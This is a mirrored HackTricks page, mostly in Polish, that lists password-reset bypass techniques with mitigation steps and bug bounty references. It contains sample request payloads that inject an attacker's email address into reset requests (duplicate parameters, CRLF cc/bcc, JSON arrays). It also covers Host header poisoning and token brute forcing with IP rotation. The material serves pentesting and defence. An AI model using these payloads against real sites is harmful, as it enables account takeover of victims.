mirror of
https://github.com/carlospolop/hacktricks
synced 2025-01-12 13:18:50 +00:00
229 lines
12 KiB
Markdown
229 lines
12 KiB
Markdown
# Reset/Forgotten Password Bypass
|
|
|
|
{% hint style="success" %}
|
|
Learn & practice AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Support HackTricks</summary>
|
|
|
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
|
|
</details>
|
|
{% endhint %}
|
|
|
|
<figure><img src="../.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
|
|
|
|
**Hacking Insights**\
|
|
Engage with content that delves into the thrill and challenges of hacking
|
|
|
|
**Real-Time Hack News**\
|
|
Keep up-to-date with fast-paced hacking world through real-time news and insights
|
|
|
|
**Latest Announcements**\
|
|
Stay informed with the newest bug bounties launching and crucial platform updates
|
|
|
|
**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!
|
|
|
|
## **Wycieki tokenów resetowania hasła przez referer**
|
|
|
|
* Nagłówek HTTP referer może ujawniać token resetowania hasła, jeśli jest zawarty w URL. Może to nastąpić, gdy użytkownik kliknie link do strony trzeciej po zażądaniu resetowania hasła.
|
|
* **Wpływ**: Potencjalne przejęcie konta za pomocą ataków Cross-Site Request Forgery (CSRF).
|
|
* **Eksploatacja**: Aby sprawdzić, czy token resetowania hasła wycieka w nagłówku referer, **zażądaj resetowania hasła** na swój adres e-mail i **kliknij link resetujący**. **Nie zmieniaj hasła** od razu. Zamiast tego, **przejdź do strony trzeciej** (takiej jak Facebook lub Twitter), jednocześnie **przechwytując żądania za pomocą Burp Suite**. Sprawdź żądania, aby zobaczyć, czy **nagłówek referer zawiera token resetowania hasła**, ponieważ może to ujawnić wrażliwe informacje osobom trzecim.
|
|
* **Referencje**:
|
|
* [HackerOne Report 342693](https://hackerone.com/reports/342693)
|
|
* [HackerOne Report 272379](https://hackerone.com/reports/272379)
|
|
* [Artykuł o wycieku tokenów resetowania hasła](https://medium.com/@rubiojhayz1234/toyotas-password-reset-token-and-email-address-leak-via-referer-header-b0ede6507c6a)
|
|
|
|
## **Zatrucie resetowania hasła**
|
|
|
|
* Atakujący mogą manipulować nagłówkiem Host podczas żądań resetowania hasła, aby skierować link resetujący na złośliwą stronę.
|
|
* **Wpływ**: Prowadzi do potencjalnego przejęcia konta przez ujawnienie tokenów resetowania atakującym.
|
|
* **Kroki łagodzące**:
|
|
* Waliduj nagłówek Host w porównaniu do białej listy dozwolonych domen.
|
|
* Używaj bezpiecznych, serwerowych metod do generowania absolutnych URL-i.
|
|
* **Poprawka**: Użyj `$_SERVER['SERVER_NAME']` do konstruowania URL-i resetowania hasła zamiast `$_SERVER['HTTP_HOST']`.
|
|
* **Referencje**:
|
|
* [Artykuł Acunetix o zatruciu resetowania hasła](https://www.acunetix.com/blog/articles/password-reset-poisoning/)
|
|
|
|
## **Resetowanie hasła przez manipulację parametrem e-mail**
|
|
|
|
Atakujący mogą manipulować żądaniem resetowania hasła, dodając dodatkowe parametry e-mail, aby przekierować link resetujący.
|
|
|
|
* Dodaj e-mail atakującego jako drugi parametr używając &
|
|
```php
|
|
POST /resetPassword
|
|
[...]
|
|
email=victim@email.com&email=attacker@email.com
|
|
```
|
|
* Dodaj email atakującego jako drugi parametr używając %20
|
|
```php
|
|
POST /resetPassword
|
|
[...]
|
|
email=victim@email.com%20email=attacker@email.com
|
|
```
|
|
* Dodaj email atakującego jako drugi parametr używając |
|
|
```php
|
|
POST /resetPassword
|
|
[...]
|
|
email=victim@email.com|email=attacker@email.com
|
|
```
|
|
* Dodaj email atakującego jako drugi parametr używając cc
|
|
```php
|
|
POST /resetPassword
|
|
[...]
|
|
email="victim@mail.tld%0a%0dcc:attacker@mail.tld"
|
|
```
|
|
* Dodaj email atakującego jako drugi parametr używając bcc
|
|
```php
|
|
POST /resetPassword
|
|
[...]
|
|
email="victim@mail.tld%0a%0dbcc:attacker@mail.tld"
|
|
```
|
|
* Dodaj email atakującego jako drugi parametr używając ,
|
|
```php
|
|
POST /resetPassword
|
|
[...]
|
|
email="victim@mail.tld",email="attacker@mail.tld"
|
|
```
|
|
* Dodaj email atakującego jako drugi parametr w tablicy json
|
|
```php
|
|
POST /resetPassword
|
|
[...]
|
|
{"email":["victim@mail.tld","atracker@mail.tld"]}
|
|
```
|
|
* **Kroki łagodzenia**:
|
|
* Prawidłowo analizuj i waliduj parametry e-mailowe po stronie serwera.
|
|
* Używaj przygotowanych zapytań lub zapytań z parametrami, aby zapobiec atakom typu injection.
|
|
* **Referencje**:
|
|
* [https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be](https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be)
|
|
* [https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/](https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/)
|
|
* [https://twitter.com/HusseiN98D/status/1254888748216655872](https://twitter.com/HusseiN98D/status/1254888748216655872)
|
|
|
|
## **Zmiana e-maila i hasła dowolnego użytkownika za pomocą parametrów API**
|
|
|
|
* Atakujący mogą modyfikować parametry e-maila i hasła w żądaniach API, aby zmienić dane logowania do konta.
|
|
```php
|
|
POST /api/changepass
|
|
[...]
|
|
("form": {"email":"victim@email.tld","password":"12345678"})
|
|
```
|
|
* **Kroki łagodzenia**:
|
|
* Zapewnij ścisłą walidację parametrów i kontrole uwierzytelniania.
|
|
* Wprowadź solidne logowanie i monitorowanie, aby wykrywać i reagować na podejrzane działania.
|
|
* **Referencje**:
|
|
* [Pełne przejęcie konta poprzez manipulację parametrami API](https://medium.com/@adeshkolte/full-account-takeover-changing-email-and-password-of-any-user-through-api-parameters-3d527ab27240)
|
|
|
|
## **Brak ograniczeń szybkości: Bombardowanie e-mailem**
|
|
|
|
* Brak ograniczeń szybkości w żądaniach resetowania hasła może prowadzić do bombardowania e-mailem, przytłaczając użytkownika wiadomościami o resetowaniu.
|
|
* **Kroki łagodzenia**:
|
|
* Wprowadź ograniczenia szybkości na podstawie adresu IP lub konta użytkownika.
|
|
* Użyj wyzwań CAPTCHA, aby zapobiec automatycznemu nadużywaniu.
|
|
* **Referencje**:
|
|
* [Raport HackerOne 280534](https://hackerone.com/reports/280534)
|
|
|
|
## **Dowiedz się, jak generowany jest token resetowania hasła**
|
|
|
|
* Zrozumienie wzoru lub metody generowania tokenów może prowadzić do przewidywania lub łamania tokenów. Niektóre opcje:
|
|
* Na podstawie znacznika czasu
|
|
* Na podstawie UserID
|
|
* Na podstawie e-maila użytkownika
|
|
* Na podstawie imienia i nazwiska
|
|
* Na podstawie daty urodzenia
|
|
* Na podstawie kryptografii
|
|
* **Kroki łagodzenia**:
|
|
* Użyj silnych, kryptograficznych metod generowania tokenów.
|
|
* Zapewnij wystarczającą losowość i długość, aby zapobiec przewidywalności.
|
|
* **Narzędzia**: Użyj Burp Sequencer, aby analizować losowość tokenów.
|
|
|
|
## **Przewidywalny UUID**
|
|
|
|
* Jeśli UUID (wersja 1) są przewidywalne, atakujący mogą je łamać, aby generować ważne tokeny resetowania. Sprawdź:
|
|
|
|
{% content-ref url="uuid-insecurities.md" %}
|
|
[uuid-insecurities.md](uuid-insecurities.md)
|
|
{% endcontent-ref %}
|
|
|
|
* **Kroki łagodzenia**:
|
|
* Użyj GUID wersji 4 dla losowości lub wprowadź dodatkowe środki bezpieczeństwa dla innych wersji.
|
|
* **Narzędzia**: Użyj [guidtool](https://github.com/intruder-io/guidtool) do analizy i generowania GUID-ów.
|
|
|
|
## **Manipulacja odpowiedzią: Zastąp złą odpowiedź dobrą**
|
|
|
|
* Manipulowanie odpowiedziami HTTP, aby obejść komunikaty o błędach lub ograniczenia.
|
|
* **Kroki łagodzenia**:
|
|
* Wprowadź kontrole po stronie serwera, aby zapewnić integralność odpowiedzi.
|
|
* Użyj bezpiecznych kanałów komunikacyjnych, takich jak HTTPS, aby zapobiec atakom typu man-in-the-middle.
|
|
* **Referencje**:
|
|
* [Krytyczny błąd w wydarzeniu Live Bug Bounty](https://medium.com/@innocenthacker/how-i-found-the-most-critical-bug-in-live-bug-bounty-event-7a88b3aa97b3)
|
|
|
|
## **Używanie wygasłego tokena**
|
|
|
|
* Testowanie, czy wygasłe tokeny mogą być nadal używane do resetowania hasła.
|
|
* **Kroki łagodzenia**:
|
|
* Wprowadź ścisłe zasady wygasania tokenów i waliduj wygasanie tokenów po stronie serwera.
|
|
|
|
## **Brute Force Token Resetowania Hasła**
|
|
|
|
* Próba złamania tokena resetowania za pomocą narzędzi takich jak Burpsuite i IP-Rotator, aby obejść ograniczenia szybkości oparte na IP.
|
|
* **Kroki łagodzenia**:
|
|
* Wprowadź solidne mechanizmy ograniczania szybkości i blokady konta.
|
|
* Monitoruj podejrzane działania wskazujące na ataki brute-force.
|
|
|
|
## **Spróbuj użyć swojego tokena**
|
|
|
|
* Testowanie, czy token resetowania atakującego może być użyty w połączeniu z e-mailem ofiary.
|
|
* **Kroki łagodzenia**:
|
|
* Upewnij się, że tokeny są powiązane z sesją użytkownika lub innymi atrybutami specyficznymi dla użytkownika.
|
|
|
|
## **Unieważnienie sesji przy wylogowaniu/resetowaniu hasła**
|
|
|
|
* Zapewnienie, że sesje są unieważniane, gdy użytkownik się wylogowuje lub resetuje hasło.
|
|
* **Kroki łagodzenia**:
|
|
* Wprowadź odpowiednie zarządzanie sesjami, zapewniając, że wszystkie sesje są unieważniane po wylogowaniu lub resetowaniu hasła.
|
|
|
|
## **Unieważnienie sesji przy wylogowaniu/resetowaniu hasła**
|
|
|
|
* Tokeny resetowania powinny mieć czas wygaśnięcia, po którym stają się nieważne.
|
|
* **Kroki łagodzenia**:
|
|
* Ustaw rozsądny czas wygaśnięcia dla tokenów resetowania i ściśle egzekwuj go po stronie serwera.
|
|
|
|
## Referencje
|
|
|
|
* [https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token](https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token)
|
|
|
|
<figure><img src="../.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
Dołącz do serwera [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy), aby komunikować się z doświadczonymi hakerami i łowcami błędów!
|
|
|
|
**Wgląd w Hacking**\
|
|
Zaangażuj się w treści, które zagłębiają się w emocje i wyzwania związane z hackingiem
|
|
|
|
**Aktualności Hackingowe w Czasie Rzeczywistym**\
|
|
Bądź na bieżąco z dynamicznym światem hackingu dzięki aktualnym wiadomościom i wglądom
|
|
|
|
**Najnowsze Ogłoszenia**\
|
|
Bądź na bieżąco z najnowszymi nagrodami za błędy i istotnymi aktualizacjami platformy
|
|
|
|
**Dołącz do nas na** [**Discord**](https://discord.com/invite/N3FrSbmwdy) i zacznij współpracować z najlepszymi hakerami już dziś!
|
|
|
|
{% hint style="success" %}
|
|
Ucz się i ćwicz Hacking AWS:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
Ucz się i ćwicz Hacking GCP: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Wsparcie HackTricks</summary>
|
|
|
|
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
|
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
|
* **Podziel się trikami hackingowymi, przesyłając PR-y do repozytoriów** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
|
|
</details>
|
|
{% endhint %}
|